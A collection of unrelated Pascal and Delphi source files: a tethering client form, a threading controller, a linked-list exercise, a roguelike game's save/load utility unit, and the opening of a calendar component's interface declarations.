procedure Button1Click(Sender: TObject);
procedure TetherBDTestManagerEndAutoConnect(Sender: TObject);
procedure TetherBDTestManagerRemoteManagerShutdown(const Sender: TObject;
const ManagerIdentifier: string);
procedure ListView1ButtonClick(const Sender: TObject;
const AItem: TListViewItem; const AObject: TListItemSimpleControl);
procedure TetherBDTestManagerRequestManagerPassword(const Sender: TObject;
const RemoteIdentifier: string; var Password: string);
procedure FormCreate(Sender: TObject);
procedure tmCheckConnectionTimer(Sender: TObject);
private
FIsConnected: Boolean;
procedure CheckRemoteProfiles;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.fmx}
procedure TForm1.TetherBDTestProfileResources0ResourceReceived
(const Sender: TObject; const AResource: TRemoteResource);
procedure AddItem(AItem: String);
var
LItem: TListViewItem;
LItemParts: TStringList;
begin
LItem := ListView1.Items.Add;
LItemParts := TStringList.Create;
try
LItemParts.Delimiter := '-';
LItemParts.DelimitedText := AItem;
LItem.Text := LItemParts[1];
LItem.Detail := LItemParts[0] + ' (needs ' + LItemParts[2] + ')';
finally
LItemParts.Free;
end;
end;
var
LStrings: TStringList;
I: Integer;
begin
ListView1.Items.Clear;
if AResource.Value.AsString <> 'NONE' then
begin
LStrings := TStringList.Create;
try
LStrings.Delimiter := ':';
LStrings.DelimitedText := AResource.Value.AsString;
for I := 0 to LStrings.Count - 1 do
AddItem(LStrings[I]);
finally
LStrings.Free;
end;
end;
end;
procedure TForm1.tmCheckConnectionTimer(Sender: TObject);
begin
CheckRemoteProfiles;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
tmCheckConnection.Enabled := true;
TetherBDTestManager.AutoConnect;
end;
procedure TForm1.TetherBDTestManagerEndAutoConnect(Sender: TObject);
begin
CheckRemoteProfiles;
end;
procedure TForm1.CheckRemoteProfiles;
var
I: Integer;
ConnectedProfiles: String;
begin
if TetherBDTestManager.RemoteProfiles.Count > 0 then
begin
for I := 0 to TetherBDTestManager.RemoteProfiles.Count - 1 do
begin
ConnectedProfiles := ConnectedProfiles + ' - ' +
TetherBDTestManager.RemoteProfiles.Items[I].ProfileText;
end;
Label2.Text := 'Working with :' + ConnectedProfiles;
if not FIsConnected then
actGetList.Execute;
FIsConnected := true;
end
else
begin
Label2.Text := 'You are not connected';
FIsConnected := false;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ListView1.Items.Clear;
FIsConnected := false;
end;
procedure TForm1.ListView1ButtonClick(const Sender: TObject;
const AItem: TListViewItem; const AObject: TListItemSimpleControl);
begin
TetherBDTestProfile.SendString(TetherBDTestManager.RemoteProfiles.Items[0],
'Buy item', AItem.Text);
end;
procedure TForm1.TetherBDTestManagerRemoteManagerShutdown(const Sender: TObject;
const ManagerIdentifier: string);
begin
CheckRemoteProfiles;
end;
procedure TForm1.TetherBDTestManagerRequestManagerPassword
(const Sender: TObject; const RemoteIdentifier: string; var Password: string);
begin
Password := 'TetherBDTest';
end;
end.
|
unit uThreading_Controller;
interface
uses uThreading_Interface, System.Classes, Vcl.Forms, System.SysUtils,
Vcl.ComCtrls, uFTarefa2;
Type
TController_CallProcess = class(TInterfacedObject, iController_Threading)
private
FThreadIndex: Integer;
public
destructor Destroy; override;
class function New: iController_Threading;
function SetThreadIndex(ThreadIndex: Integer): iController_Threading;
function SetProcess: String;
end;
implementation
uses
uMyThread_Controller;
{ TThreads }
destructor TController_CallProcess.Destroy;
begin
inherited;
end;
class function TController_CallProcess.New: iController_Threading;
begin
Result := Self.Create;
end;
function TController_CallProcess.SetProcess: String;
var
MyThread: TThreadObject;
begin
MyThread := TThreadObject.Create;
try
MyThread.ThreadIndex := FThreadIndex;
MyThread.Execute;
finally
FreeAndNil(MyThread);
end;
end;
function TController_CallProcess.SetThreadIndex(ThreadIndex: Integer)
: iController_Threading;
begin
Result := Self;
FThreadIndex := ThreadIndex;
end;
end.
|
program single;
TYPE
nodePtr = ^listElement;
listElement = RECORD
next: nodePtr;
val: Integer;
END;
procedure printList(list : nodePtr);
BEGIN
write('list: ');
while(list <> nil) do begin
write(list^.val);
list := list^.next;
end;
WriteLn;
END;
function NewNode(val : Integer): nodePtr;
var node : nodePtr;
begin
New(node);
node^.next := nil;
node^.val := val;
NewNode := node;
end;
procedure Append(var list : nodePtr; element : nodePtr);
var tmp : nodePtr;
BEGIN
if list = nil then list := element else begin
tmp := list;
while tmp^.next <> nil do
tmp := tmp^.next;
tmp^.next := element;
end;
END;
procedure Prepend(var list : nodePtr; element : nodePtr);
BEGIN
if list = nil then list := element else begin
element^.next := list;
list := element;
END;
END;
function getNode(list: nodePtr; val : Integer) : nodePtr;
begin
getNode := nil;
while(list <> nil) do begin
if list^.val = val then exit(list);
list := list^.next;
end;
end;
procedure insertAfter(var list : nodePtr; val : Integer; node : nodePtr);
var found,tmp : nodePtr;
begin
found := getNode(list, val);
if found <> nil then begin
tmp := found^.next;
found^.next := node;
node^.next := tmp;
end;
end;
procedure changeValue(list : nodePtr; oldVal, newVal : Integer);
begin
if getNode(list, oldVal) <> nil then begin
getNode(list,oldVal)^.val := newVal;
end;
end;
procedure deleteNode(var list :nodePtr; val :Integer);
begin
if list = nil then exit else begin
if list^.val = val then list := list^.next else begin
while(list^.next <> nil) do begin
if list^.next^.val = val then begin
list := list^.next^.next;
exit;
end;
list := list^.next;
end;
end;
end;
end;
procedure disposeList(var list : nodePtr);
begin
if list^.next = nil then dispose(list) else disposeList(list^.next);
end;
procedure reverseList(var list : nodePtr);
var result : nodePtr;
begin
result := nil;
while(list <> nil) do begin
Prepend(result, NewNode(list^.val));
list := list^.next;
end;
list := result;
end;
procedure insertBefore(var list :nodePtr; val :Integer; node : nodePtr);
var tmp : nodePtr;
var temp2 : nodePtr;
begin
temp2 := list;
if list = nil then exit else begin
if list^.val = val then Prepend(list,node) else begin
while(list^.next <> nil) do
begin
if list^.next^.val = val then
begin
tmp := list^.next;
list^.next := node;
node^.next := tmp;
list := temp2;
exit;
end;
list := list^.next;
end;
end;
end;
end;
procedure insertAft(var list :nodePtr; val :Integer; node : nodePtr);
var tmp, tmp2 : nodePtr;
begin
tmp := list;
if list = nil then exit else begin
if list^.val = val then Prepend(list,node)
else begin
while(tmp <> nil) do
begin
if tmp^.val = val then
begin
tmp2 := tmp^.next;
tmp^.next := node;
node^.next := tmp2;
exit;
end;
tmp := tmp^.next;
end;
end;
end;
end;
function hasDoubles(list : nodePtr; val : Integer) : Boolean;
var temp : nodePtr;
var temp2 : nodePtr;
begin
if (list <> Nil) and (list^.next <> Nil) then
begin
temp := list;
hasDoubles := False;
while (temp <> Nil) and (hasDoubles = False) do begin
temp2 := temp^.next;
while temp2 <> Nil do begin
if temp2^.val = val then
begin
hasDoubles := True;
break;
end;
temp2 := temp2^.next;
end;
temp := temp^.next;
end;
end;
end;
procedure deleteDoubles(var list : nodePtr);
var temp : nodePtr;
var temp2 : nodePtr;
var temp3 : nodePtr;
begin
if (list <> Nil) and (list^.next <> Nil) then
begin
temp := list;
while (temp <> Nil) do begin
temp2 := temp^.next;
temp3 := temp;
while temp2 <> Nil do begin
if temp^.val = temp2^.val then
begin
temp3^.next := temp2^.next;
Dispose(temp2);
temp2 := temp3;
end;
temp3 := temp2;
temp2 := temp2^.next;
end;
temp := temp^.next;
end;
end;
end;
procedure deleteSpecificDouble(var list : nodePtr; val : Integer);
var temp : nodePtr;
var temp2 : nodePtr;
var temp3 : nodePtr;
begin
if (list <> Nil) and (list^.next <> Nil) then
begin
temp := list;
while (temp <> Nil) do begin
temp2 := temp^.next;
temp3 := temp;
while temp2 <> Nil do begin
if temp2^.val = val then
begin
temp3^.next := temp2^.next;
Dispose(temp2);
temp2 := temp3;
end;
temp3 := temp2;
temp2 := temp2^.next;
end;
temp := temp^.next;
end;
end;
end;
procedure bringToFront(var list : nodePtr; val : Integer);
var temp : nodePtr;
var temp2 : nodePtr;
begin
temp := list;
if temp^.next <> Nil then
begin
while (temp <> Nil) do
begin
temp2 := temp;
temp := temp^.next;
if(temp^.val = val) then
begin
temp2^.next := temp^.next;
temp^.next := list;
list := temp;
break;
end;
end;
end;
end;
procedure bringToBack(var list : nodePtr; val : Integer);
var temp, temp2, temp3 : nodePtr;
begin
temp := list;
temp3 := Nil;
if temp^.val = val then
begin
list := temp^.next;
temp2 := list;
while temp2^.next <> Nil do
temp2 := temp2^.next;
printList(temp);
temp2^.next := temp;
temp^.next := Nil;
end
else
begin
while temp^.next <> Nil do
begin
temp2 := temp;
temp := temp^.next;
if(temp^.val = val) then
begin
temp2^.next := temp^.next;
temp3 := temp;
break;
end;
end;
while temp^.next <> Nil do
begin
temp := temp^.next;
end;
if (temp3 <> Nil) then
begin
temp3^.next := Nil;
temp^.next := temp3;
end;
end;
end;
var list : nodePtr;
begin
Append(list, NewNode(1));
Append(list, NewNode(1));
Append(list, NewNode(2));
Append(list, NewNode(4));
Append(list, NewNode(5));
Append(list, NewNode(5));
Append(list, NewNode(6));
Prepend(list, NewNode(3));
insertBefore(list, 6, NewNode(8));
insertAft(list,6,NewNode(7));
insertAfter(list, 1, NewNode(9));
if hasDoubles(list,1) then WriteLn('List has doubles') else WriteLn('List has no doubles');
printList(list);
bringToFront(list,4);
printList(list);
bringToBack(list, 4);
printList(list);
deleteSpecificDouble(list, 1);
printList(list);
deleteDoubles(list);
printList(list);
reverseList(list);
printList(list);
disposeList(list);
end. |
(* Common functions / utilities *)
unit globalutils;
{$mode objfpc}{$H+}
{$WARN 4105 off : Implicit string type conversion with potential data loss from "$1" to "$2"}
{$WARN 4104 off : Implicit string type conversion from "$1" to "$2"}
interface
uses
Graphics, SysUtils, DOM, XMLWrite, XMLRead;
type
coordinates = record
x, y: smallint;
end;
const
(* Version info - a = Alpha, d = Debug, r = Release *)
VERSION = '30a';
(* Save game file *)
{$IFDEF Linux}
saveFile = '.axes.data';
{$ENDIF}
{$IFDEF Windows}
saveFile = 'axes.data';
{$ENDIF}
(* Columns of the game map *)
MAXCOLUMNS = 67;
(* Rows of the game map *)
MAXROWS = 38;
(* Colours *){ TODO : Move these to the UI unit }
BACKGROUNDCOLOUR = TColor($131A00);
UICOLOUR = TColor($808000);
UITEXTCOLOUR = TColor($F5F58C);
MESSAGEFADE1 = TColor($A0A033);
MESSAGEFADE2 = TColor($969613);
MESSAGEFADE3 = TColor($808000);
MESSAGEFADE4 = TColor($686800);
MESSAGEFADE5 = TColor($4F4F00);
MESSAGEFADE6 = TColor($2E2E00);
STSPOISON = TColor($DCDFFC);
var
(* Turn counter *)
playerTurn: integer;
dungeonArray: array[1..MAXROWS, 1..MAXCOLUMNS] of char;
(* Number of rooms in the current dungeon *)
currentDgnTotalRooms: smallint;
(* list of coordinates of centre of each room *)
currentDgncentreList: array of coordinates;
(* Name of entity or item that killed the player *)
killer: shortstring;
(* Select random number from a range *)
function randomRange(fromNumber, toNumber: smallint): smallint;
(* Simulate dice rolls *)
function rollDice(numberOfDice: byte): smallint;
(* Draw image to temporary screen buffer *)
procedure drawToBuffer(x, y: smallint; image: TBitmap);
(* Write text to temporary screen buffer *)
procedure writeToBuffer(x, y: smallint; messageColour: TColor; message: string);
(* Save game state to XML file *)
procedure saveGame;
(* Load saved game *)
procedure loadGame;
(* Delete saved game *)
procedure deleteGame;
implementation
uses
main, map, entities, player_inventory, items, ui;
(* Random(Range End - Range Start) + Range Start *)
function randomRange(fromNumber, toNumber: smallint): smallint;
var
p: smallint;
begin
p := toNumber - fromNumber;
Result := random(p + 1) + fromNumber;
end;
function rollDice(numberOfDice: byte): smallint;
var
i: byte;
x: smallint;
begin
x := 0; // initialise variable
if (numberOfDice = 0) then
Result := 0
else
begin
for i := 0 to numberOfDice do
begin
x := Random(6) + 1;
end;
Result := x;
end;
end;
procedure drawToBuffer(x, y: smallint; image: TBitmap);
begin
main.tempScreen.Canvas.Draw(x, y, image);
end;
procedure writeToBuffer(x, y: smallint; messageColour: TColor; message: string);
begin
main.tempScreen.Canvas.Font.Color := messageColour;
main.tempScreen.Canvas.TextOut(x, y, message);
end;
procedure saveGame;
var
i, r, c: smallint;
Doc: TXMLDocument;
RootNode, dataNode: TDOMNode;
procedure AddElement(Node: TDOMNode; Name, Value: string);
var
NameNode, ValueNode: TDomNode;
begin
NameNode := Doc.CreateElement(Name); // creates future Node/Name
ValueNode := Doc.CreateTextNode(Value); // creates future Node/Name/Value
NameNode.Appendchild(ValueNode); // place value in place
Node.Appendchild(NameNode); // place Name in place
end;
function AddChild(Node: TDOMNode; ChildName: string): TDomNode;
var
ChildNode: TDomNode;
begin
ChildNode := Doc.CreateElement(ChildName);
Node.AppendChild(ChildNode);
Result := ChildNode;
end;
begin
try
(* Create a document *)
Doc := TXMLDocument.Create;
(* Create a root node *)
RootNode := Doc.CreateElement('root');
Doc.Appendchild(RootNode);
RootNode := Doc.DocumentElement;
(* Game data *)
DataNode := AddChild(RootNode, 'GameData');
AddElement(datanode, 'RandSeed', IntToStr(RandSeed));
AddElement(datanode, 'turns', IntToStr(playerTurn));
AddElement(datanode, 'npcAmount', IntToStr(entities.npcAmount));
AddElement(datanode, 'itemAmount', IntToStr(items.itemAmount));
AddElement(datanode, 'currentMap', IntToStr(map.mapType));
(* map tiles *)
for r := 1 to MAXROWS do
begin
for c := 1 to MAXCOLUMNS do
begin
DataNode := AddChild(RootNode, 'map_tiles');
TDOMElement(dataNode).SetAttribute('id', IntToStr(maparea[r][c].id));
AddElement(datanode, 'Blocks', BoolToStr(map.maparea[r][c].Blocks));
AddElement(datanode, 'Visible', BoolToStr(map.maparea[r][c].Visible));
AddElement(datanode, 'Occupied', BoolToStr(map.maparea[r][c].Occupied));
AddElement(datanode, 'Discovered', BoolToStr(map.maparea[r][c].Discovered));
AddElement(datanode, 'Glyph', map.maparea[r][c].Glyph);
end;
end;
(* Items on the map *)
for i := 1 to items.itemAmount do
begin
DataNode := AddChild(RootNode, 'Items');
TDOMElement(dataNode).SetAttribute('itemID', IntToStr(itemList[i].itemID));
AddElement(DataNode, 'Name', itemList[i].itemName);
AddElement(DataNode, 'description', itemList[i].itemDescription);
AddElement(DataNode, 'itemType', itemList[i].itemType);
AddElement(DataNode, 'useID', IntToStr(itemList[i].useID));
AddElement(DataNode, 'glyph', itemList[i].glyph);
AddElement(DataNode, 'inView', BoolToStr(itemList[i].inView));
AddElement(DataNode, 'posX', IntToStr(itemList[i].posX));
AddElement(DataNode, 'posY', IntToStr(itemList[i].posY));
AddElement(DataNode, 'onMap', BoolToStr(itemList[i].onMap));
AddElement(DataNode, 'discovered', BoolToStr(itemList[i].discovered));
end;
(* Player inventory *)
for i := 0 to 9 do
begin
DataNode := AddChild(RootNode, 'playerInventory');
TDOMElement(dataNode).SetAttribute('id', IntToStr(i));
AddElement(DataNode, 'Name', inventory[i].Name);
AddElement(DataNode, 'equipped', BoolToStr(inventory[i].equipped));
AddElement(DataNode, 'description', inventory[i].description);
AddElement(DataNode, 'itemType', inventory[i].itemType);
AddElement(DataNode, 'useID', IntToStr(inventory[i].useID));
AddElement(DataNode, 'glyph', inventory[i].glyph);
AddElement(DataNode, 'inInventory', BoolToStr(inventory[i].inInventory));
end;
(* Entity records *)
for i := 0 to entities.npcAmount do
begin
DataNode := AddChild(RootNode, 'NPC');
TDOMElement(dataNode).SetAttribute('npcID', IntToStr(i));
AddElement(DataNode, 'race', entities.entityList[i].race);
AddElement(DataNode, 'description', entities.entityList[i].description);
AddElement(DataNode, 'glyph', entities.entityList[i].glyph);
AddElement(DataNode, 'currentHP', IntToStr(entities.entityList[i].currentHP));
AddElement(DataNode, 'maxHP', IntToStr(entities.entityList[i].maxHP));
AddElement(DataNode, 'attack', IntToStr(entities.entityList[i].attack));
AddElement(DataNode, 'defense', IntToStr(entities.entityList[i].defense));
AddElement(DataNode, 'weaponDice', IntToStr(entities.entityList[i].weaponDice));
AddElement(DataNode, 'weaponAdds', IntToStr(entities.entityList[i].weaponAdds));
AddElement(DataNode, 'xpReward', IntToStr(entities.entityList[i].xpReward));
AddElement(DataNode, 'visRange', IntToStr(entities.entityList[i].visionRange));
AddElement(DataNode, 'NPCsize', IntToStr(entities.entityList[i].NPCsize));
AddElement(DataNode, 'trackingTurns',
IntToStr(entities.entityList[i].trackingTurns));
AddElement(DataNode, 'moveCount', IntToStr(entities.entityList[i].moveCount));
AddElement(DataNode, 'targetX', IntToStr(entities.entityList[i].targetX));
AddElement(DataNode, 'targetY', IntToStr(entities.entityList[i].targetY));
AddElement(DataNode, 'inView', BoolToStr(entities.entityList[i].inView));
AddElement(DataNode, 'discovered', BoolToStr(entities.entityList[i].discovered));
AddElement(DataNode, 'weaponEquipped',
BoolToStr(entities.entityList[i].weaponEquipped));
AddElement(DataNode, 'armourEquipped',
BoolToStr(entities.entityList[i].armourEquipped));
AddElement(DataNode, 'isDead', BoolToStr(entities.entityList[i].isDead));
AddElement(DataNode, 'abilityTriggered',
BoolToStr(entities.entityList[i].abilityTriggered));
AddElement(DataNode, 'posX', IntToStr(entities.entityList[i].posX));
AddElement(DataNode, 'posY', IntToStr(entities.entityList[i].posY));
end;
(* Save XML *)
WriteXMLFile(Doc, GetUserDir + saveFile);
finally
Doc.Free; // free memory
end;
end;
procedure loadGame;
var
RootNode, ParentNode, Tile, NextNode, Blocks, Visible, Occupied,
Discovered, InventoryNode, ItemsNode, NPCnode, GlyphNode: TDOMNode;
Doc: TXMLDocument;
r, c, i: integer;
begin
try
(* Read in xml file from disk *)
ReadXMLFile(Doc, GetUserDir + saveFile);
(* Retrieve the nodes *)
RootNode := Doc.DocumentElement.FindNode('GameData');
ParentNode := RootNode.FirstChild.NextSibling;
(* Player turns *)
playerTurn := StrToInt(RootNode.FindNode('turns').TextContent);
(* Number of NPC's *)
entities.npcAmount := StrToInt(RootNode.FindNode('npcAmount').TextContent);
(* Number of items *)
items.itemAmount := StrToInt(RootNode.FindNode('itemAmount').TextContent);
(* Current map type *)
//map.mapType:= StrToInt(ParentNode.FindNode('currentMap').TextContent);
(* Map tile data *)
Tile := RootNode.NextSibling;
for r := 1 to MAXROWS do
begin
for c := 1 to MAXCOLUMNS do
begin
map.maparea[r][c].id := StrToInt(Tile.Attributes.Item[0].NodeValue);
Blocks := Tile.FirstChild;
map.maparea[r][c].Blocks := StrToBool(Blocks.TextContent);
Visible := Blocks.NextSibling;
map.maparea[r][c].Visible := StrToBool(Visible.TextContent);
Occupied := Visible.NextSibling;
map.maparea[r][c].Occupied := StrToBool(Occupied.TextContent);
Discovered := Occupied.NextSibling;
map.maparea[r][c].Discovered := StrToBool(Discovered.TextContent);
GlyphNode := Discovered.NextSibling;
(* Convert String to Char *)
map.maparea[r][c].Glyph := GlyphNode.TextContent[1];
NextNode := Tile.NextSibling;
Tile := NextNode;
end;
end;
(* Items on the map *)
SetLength(items.itemList, 1);
ItemsNode := Doc.DocumentElement.FindNode('Items');
for i := 1 to items.itemAmount do
begin
items.listLength := length(items.itemList);
SetLength(items.itemList, items.listLength + 1);
items.itemList[i].itemID := StrToInt(ItemsNode.Attributes.Item[0].NodeValue);
items.itemList[i].itemName := ItemsNode.FindNode('Name').TextContent;
items.itemList[i].itemDescription :=
ItemsNode.FindNode('description').TextContent;
items.itemList[i].itemType := ItemsNode.FindNode('itemType').TextContent;
items.itemList[i].useID := StrToInt(ItemsNode.FindNode('useID').TextContent);
items.itemList[i].glyph :=
char(widechar(ItemsNode.FindNode('glyph').TextContent[1]));
items.itemList[i].inView := StrToBool(ItemsNode.FindNode('inView').TextContent);
items.itemList[i].posX := StrToInt(ItemsNode.FindNode('posX').TextContent);
items.itemList[i].posY := StrToInt(ItemsNode.FindNode('posY').TextContent);
items.itemList[i].onMap := StrToBool(ItemsNode.FindNode('onMap').TextContent);
items.itemList[i].discovered :=
StrToBool(ItemsNode.FindNode('discovered').TextContent);
ParentNode := ItemsNode.NextSibling;
ItemsNode := ParentNode;
end;
(* Player inventory *)
InventoryNode := Doc.DocumentElement.FindNode('playerInventory');
for i := 0 to 9 do
begin
player_inventory.inventory[i].id := i;
player_inventory.inventory[i].Name :=
InventoryNode.FindNode('Name').TextContent;
player_inventory.inventory[i].equipped :=
StrToBool(InventoryNode.FindNode('equipped').TextContent);
player_inventory.inventory[i].description :=
InventoryNode.FindNode('description').TextContent;
player_inventory.inventory[i].itemType :=
InventoryNode.FindNode('itemType').TextContent;
player_inventory.inventory[i].useID :=
StrToInt(InventoryNode.FindNode('useID').TextContent);
player_inventory.inventory[i].glyph :=
InventoryNode.FindNode('glyph').TextContent[1];
player_inventory.inventory[i].inInventory :=
StrToBool(InventoryNode.FindNode('inInventory').TextContent);
ParentNode := InventoryNode.NextSibling;
InventoryNode := ParentNode;
end;
(* NPC stats *)
SetLength(entities.entityList, 0);
NPCnode := Doc.DocumentElement.FindNode('NPC');
for i := 0 to entities.npcAmount do
begin
entities.listLength := length(entities.entityList);
SetLength(entities.entityList, entities.listLength + 1);
entities.entityList[i].npcID :=
StrToInt(NPCnode.Attributes.Item[0].NodeValue);
entities.entityList[i].race := NPCnode.FindNode('race').TextContent;
entities.entityList[i].description := NPCnode.FindNode('description').TextContent;
entities.entityList[i].glyph :=
char(widechar(NPCnode.FindNode('glyph').TextContent[1]));
entities.entityList[i].currentHP :=
StrToInt(NPCnode.FindNode('currentHP').TextContent);
entities.entityList[i].maxHP :=
StrToInt(NPCnode.FindNode('maxHP').TextContent);
entities.entityList[i].attack :=
StrToInt(NPCnode.FindNode('attack').TextContent);
entities.entityList[i].defense :=
StrToInt(NPCnode.FindNode('defense').TextContent);
entities.entityList[i].weaponDice :=
StrToInt(NPCnode.FindNode('weaponDice').TextContent);
entities.entityList[i].weaponAdds :=
StrToInt(NPCnode.FindNode('weaponAdds').TextContent);
entities.entityList[i].xpReward :=
StrToInt(NPCnode.FindNode('xpReward').TextContent);
entities.entityList[i].visionRange :=
StrToInt(NPCnode.FindNode('visRange').TextContent);
entities.entityList[i].NPCsize :=
StrToInt(NPCnode.FindNode('NPCsize').TextContent);
entities.entityList[i].trackingTurns :=
StrToInt(NPCnode.FindNode('trackingTurns').TextContent);
entities.entityList[i].moveCount :=
StrToInt(NPCnode.FindNode('moveCount').TextContent);
entities.entityList[i].targetX :=
StrToInt(NPCnode.FindNode('targetX').TextContent);
entities.entityList[i].targetY :=
StrToInt(NPCnode.FindNode('targetY').TextContent);
entities.entityList[i].inView :=
StrToBool(NPCnode.FindNode('inView').TextContent);
entities.entityList[i].discovered :=
StrToBool(NPCnode.FindNode('discovered').TextContent);
entities.entityList[i].weaponEquipped :=
StrToBool(NPCnode.FindNode('weaponEquipped').TextContent);
entities.entityList[i].armourEquipped :=
StrToBool(NPCnode.FindNode('armourEquipped').TextContent);
entities.entityList[i].isDead :=
StrToBool(NPCnode.FindNode('isDead').TextContent);
entities.entityList[i].abilityTriggered :=
StrToBool(NPCnode.FindNode('abilityTriggered').TextContent);
entities.entityList[i].posX :=
StrToInt(NPCnode.FindNode('posX').TextContent);
entities.entityList[i].posY :=
StrToInt(NPCnode.FindNode('posY').TextContent);
ParentNode := NPCnode.NextSibling;
NPCnode := ParentNode;
end;
finally
(* free memory *)
Doc.Free;
end;
end;
procedure deleteGame;
var
saveGame: string;
begin
saveGame := GetUserDir + saveFile;
if FileExists(saveGame) then
DeleteFile(saveGame);
end;
end.
|
{================================================================================
Copyright (C) 1997-2002 Mills Enterprise
Unit : rmCalendar
Purpose : Replacement for the windows comctrl calendar.
Also has CalendarCombo.
Date : 01-01-1999
Author : Ryan J. Mills
Version : 1.92
================================================================================
}
unit rmCalendar;
interface
{$I CompilerDefines.INC}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Grids, rmBtnEdit, Buttons, rmmsglist, rmScrnCtrls,
rmLibrary;
type
TrmCustomCalendar = class;
TCurrentDateValue = (cdvYear, cdvMonth, cdvDay);
TPaintCellEvent = procedure(Sender:TObject; ARow, ACol:Longint; Rect: TRect; State: TGridDrawState; Date:TDate) of object;
TrmCalendarColors = class(TPersistent)
private
fWeekendText: TColor;
fWeekdaybackground: TColor;
fDayNamesBackground: TColor;
fWeekdayText: TColor;
fTodayText: TColor;
fWeekendBackground: TColor;
fDayNamesText: TColor;
fOtherMonthDayBackground: TColor;
fOtherMonthDayText: TColor;
fCustomCalendar: TrmCustomCalendar;
procedure SetDayNamesBackground(const Value: TColor);
procedure SetDayNamesText(const Value: TColor);
procedure SetOtherMonthDayBackground(const value : TColor);
procedure SetOtherMonthDayText(const Value: TColor);
procedure SetTodayText(const Value: TColor);
procedure Setweekdaybackground(const Value: TColor);
procedure SetWeekdayText(const Value: TColor);
procedure SetWeekendBackground(const Value: TColor);
procedure SetWeekendText(const Value: TColor);
procedure UpdateController;
public
constructor create;
procedure Assign(Source: TPersistent); override;
property CustomCalendar : TrmCustomCalendar read fCustomCalendar write fCustomCalendar;
published
property WeekdayBackgroundColor : TColor read fWeekdaybackground write Setweekdaybackground default clwindow;
property WeekdayTextColor : TColor read fWeekdayText write SetWeekdayText default clWindowText;
property WeekendBackgroundColor : TColor read fWeekendBackground write SetWeekendBackground default $00E1E1E1;
property WeekendTextColor : TColor read fWeekendText write SetWeekendText default clTeal;
property DayNamesBackgroundColor : TColor read fDayNamesBackground write SetDayNamesBackground default clBtnFace;
property DayNamesTextColor : TColor read fDayNamesText write SetDayNamesText default clBtnText;
property TodayTextColor : TColor read fTodayText write SetTodayText default clRed;
property OtherMonthDayTextColor : TColor read fOtherMonthDayText write SetOtherMonthDayText default clBtnFace;
property OtherMonthDayBackgroundColor : TColor read fOtherMonthDayBackground write SetOtherMonthDayBackground default clWindow;
end;
TrmCustomCalendar = class(TCustomPanel)
private
{ Private declarations }
fCalendarGrid: TDrawGrid;
fLabel1: TLabel;
fShowWeekends: boolean;
wYear, //Working Year
wMonth, //Working Month
wDay, //Working Day
wfdow, //Working First Day of the Month (index into sun, mon, tue...)
wdom: word; //Working Days of Month
fSelectionValid,
fBoldSysdate: boolean;
fSelectedDate,
fMinSelectDate,
fMaxSelectDate,
fworkingdate: TDate;
fOnWorkingDateChange: TNotifyEvent;
fOnSelectedDateChange: TNotifyEvent;
fCalendarFont: TFont;
fUseDateRanges: boolean;
fOnPaintCell: TPaintCellEvent;
fCalendarColors: TrmCalendarColors;
fShowGridLines: boolean;
procedure setShowWeekends(const Value: boolean);
procedure SetSelectedDate(const Value: TDate);
procedure SetWorkingDate(const Value: TDate);
procedure SetCalendarFont(const Value: TFont);
procedure SetMaxDate(const Value: TDate);
procedure SetMinDate(const Value: TDate);
procedure SetUseDateRanges(const Value: boolean);
procedure GetRowColInfo(wDate: TDate; var Row, Col: integer);
function CheckDateRange(wDate: TDate): TDate;
function ValidateDOW(row, col: integer; var daynumber: integer): boolean;
function MyEncodeDate(year, month, day: word): TDateTime;
function CurrentDateValue(Value: TCurrentDateValue): word;
procedure wmSize(var Msg: TMessage); message WM_Size;
procedure wmEraseBkgrnd(var Msg:TMessage); message WM_EraseBkgnd;
procedure CalendarSelectDate(Sender: TObject; Col, Row: Integer;
var CanSelect: Boolean);
procedure SetBoldSystemDate(const Value: boolean);
function GetCellCanvas: TCanvas;
procedure SetCalendarColors(const Value: TrmCalendarColors);
procedure SetGridLines(const Value: boolean);
protected
{ Protected declarations }
procedure SetCellSizes;
procedure PaintCalendarCell(Sender: TObject; Col, Row: Longint; Rect: TRect; State: TGridDrawState);
procedure CalendarDblClick(Sender: TObject); virtual;
procedure CalendarGridKeyPress(Sender: TObject; var Key: Char); virtual;
procedure CalendarKeyMovement(Sender: TObject; var Key: Word; Shift: TShiftState); virtual;
property ShowGridLines : boolean read fShowGridLines write SetGridLines default false;
property CalendarColors : TrmCalendarColors read fCalendarColors write SetCalendarColors;
property BoldSystemDate : boolean read fboldsysdate write SetBoldSystemDate default true;
property UseDateRanges: boolean read fUseDateRanges write SetUseDateRanges default false;
property MinDate: TDate read fMinSelectDate write SetMinDate;
property MaxDate: TDate read fMaxSelectDate write SetMaxDate;
property CalendarFont: TFont read fCalendarFont write SetCalendarFont;
property SelectedDate: TDate read fSelectedDate write SetSelectedDate;
property WorkingDate: TDate read fworkingdate;
property ShowWeekends: boolean read fShowWeekends write SetShowWeekends default true;
property OnWorkingDateChange: TNotifyEvent read fOnWorkingDateChange write fOnWorkingDateChange;
property OnSelectedDateChange: TNotifyEvent read fOnSelectedDateChange write fOnSelectedDateChange;
property OnPaintCell : TPaintCellEvent read fOnPaintCell write fOnPaintCell;
public
{ Public declarations }
constructor create(AOwner: TComponent); override;
destructor destroy; override;
property CellCanvas : TCanvas read GetCellCanvas;
procedure NextMonth;
procedure PrevMonth;
procedure NextYear;
procedure PrevYear;
function GoodCalendarSize(NewWidth:integer): boolean;
procedure Invalidate; override;
end;
TrmCalendar = class(TrmCustomCalendar)
public
{ Public declarations }
published
{ Published declarations }
property Align;
property Anchors;
property BorderStyle default bsSingle;
property BevelInner default bvNone;
property BevelOuter default bvNone;
property CalendarColors;
property CalendarFont;
property SelectedDate;
property WorkingDate;
property ShowWeekends;
property UseDateRanges;
property MinDate;
property MaxDate;
property ShowGridLines;
property OnWorkingDateChange;
property OnSelectedDateChange;
property OnPaintCell;
end;
TrmScreenCalendar = class(TrmCalendar)
private
{ Private declarations }
fPanel: TPanel;
fBtn1, fBtn2: TSpeedButton;
LastState: Word;
fmsg: TrmMsgEvent;
procedure CMMouseLeave(var Message: TMessage); message CM_MOUSELEAVE;
procedure WMLButtonDown(var Message: TWMLButtonDown); message WM_LBUTTONDOWN;
procedure WMMouseMove(var Message: TWMMouse); message WM_MOUSEMOVE;
protected
{ Protected declarations }
procedure CreateParams(var Params: TCreateParams); override;
procedure CreateWnd; override;
procedure VisibleChanging; override;
procedure DoBtnClick(Sender: TObject);
